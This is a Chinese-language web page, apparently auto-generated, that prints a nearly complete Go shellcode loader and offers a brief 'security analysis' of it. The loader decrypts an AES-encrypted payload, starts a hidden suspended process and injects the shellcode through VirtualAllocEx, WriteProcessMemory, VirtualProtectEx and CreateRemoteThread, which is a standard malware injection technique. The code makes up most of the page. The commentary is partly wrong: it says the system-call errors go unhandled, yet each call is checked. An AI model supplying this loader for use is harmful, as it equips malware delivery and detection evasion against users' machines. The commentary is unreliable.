Go 语言 Shellcode 注入代码分析
这段代码的主要功能是将加密的 Shellcode 注入到一个目标进程中并执行。具体流程如下:
-
通过 AES 解密 Shellcode。
-
调用
loadProcess函数创建一个挂起的进程,并获取其进程信息。 -
调用
VirtualAllocEx函数在目标进程中分配内存,并将 Shellcode 写入其中。 -
调用
VirtualProtectEx函数修改内存区域的保护权限,将其设置为可执行。 -
调用
CreateRemoteThread函数在目标进程中创建一个远程线程,并将其设置为从分配的内存区域中开始执行。 -
关闭目标进程的句柄。
需要注意的是,代码中使用了一些系统调用(如 VirtualAllocEx、WriteProcessMemory、VirtualProtectEx 等),这些调用在不当使用时可能会导致安全问题。因此,在使用此代码时需要仔细检查和测试,确保没有漏洞和安全隐患。
代码分析:
package main
import (
"crypto/aes"
"os"
"syscall"
"unsafe"
"strings"
"strconv"
"crypto/cipher"
"errors"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4
PAGE_EXECUTE_READ = 0x20
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
CREATE_SUSPENDED = 0x4
CREATE_NO_WINDOW = 0x8000000
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
OpenProcess = kernel32.MustFindProc("OpenProcess")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
closeHandle = kernel32.MustFindProc("CloseHandle")
)
func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
c, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(c)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(ciphertext) < nonceSize {
return nil, errors.New("ciphertext too short")
}
nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
return gcm.Open(nil, nonce, ciphertext, nil)
}
func StringBytesParseString(byteString string) (string, error) {
byteString = strings.TrimSuffix(byteString, "]")
byteString = strings.TrimLeft(byteString, "[")
sByteString := strings.Split(byteString, " ")
var res []byte
for _, s := range sByteString {
i, err := strconv.ParseUint(s, 10, 64)
if err != nil {
return "", err
}
res = append(res, byte(i))
}
return string(res), nil
}
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
commandLine, err := syscall.UTF16PtrFromString(target)
if err != nil {
panic(err)
}
err = syscall.CreateProcess(
nil,
commandLine,
nil,
nil,
false,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
nil,
nil,
&si,
&pi)
if err != nil {
panic(err)
}
return &pi
}
func main() {
/* decrypt shellcode using AES */
shellcode, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
os.Exit(1)
}
/* spawn target process */
process := loadProcess(target)
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAllocEx.Call(
uintptr(process.Process),
0,
uintptr(len(shellcode)),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* overwriting process memory with our shellcode */
_, _, err = WriteProcessMemory.Call(
uintptr(process.Process),
baseAddr,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* changing permissions for our memory segment */
_, _, err = VirtualProtectEx.Call(
uintptr(process.Process),
baseAddr,
uintptr(len(shellcode)),
PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldProtectCfg)),
)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* load remote thread */
_, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
/* close process handler */
_, _, err = closeHandle.Call(uintptr(process.Process))
if err.Error() != "The operation completed successfully." {
os.Exit(1)
}
}
代码安全性和潜在问题:
-
**硬编码的密钥和 Shellcode:**代码中直接使用硬编码的密钥和 Shellcode,这使得代码容易受到攻击。攻击者可以轻松地获取密钥和 Shellcode,并对其进行修改或替换。
-
**系统调用使用不当:**代码使用了一些系统调用,例如
VirtualAllocEx、WriteProcessMemory和VirtualProtectEx,这些调用如果使用不当可能会导致安全问题。例如,如果分配的内存区域过大,或者 Shellcode 中存在漏洞,攻击者可能会利用这些漏洞来获取系统控制权。 -
**错误处理不完善:**代码中只对部分错误进行了处理,例如在调用
decrypt函数时对解密错误进行了处理。对于其他系统调用的错误,代码没有进行处理,这可能会导致程序崩溃或出现其他异常行为。 -
**缺少代码签名验证:**代码没有进行代码签名验证,这使得攻击者可以轻松地修改或替换代码,从而执行恶意操作。
建议:
-
不要使用硬编码的密钥和 Shellcode,而是使用安全的方式来存储和加载密钥和 Shellcode。
-
仔细检查和测试代码,确保没有漏洞和安全隐患。
-
完善错误处理机制,对所有可能出现的错误进行处理。
-
对代码进行代码签名验证,防止攻击者修改或替换代码。
结论:
这段代码展示了使用 Go 语言进行 Shellcode 注入的基本原理,但存在一些安全问题。在实际应用中,需要对代码进行安全审计,并采取相应的安全措施来防止攻击。
原文地址: https://www.cveoy.top/t/topic/oLg4 著作权归作者所有。请勿转载和采集!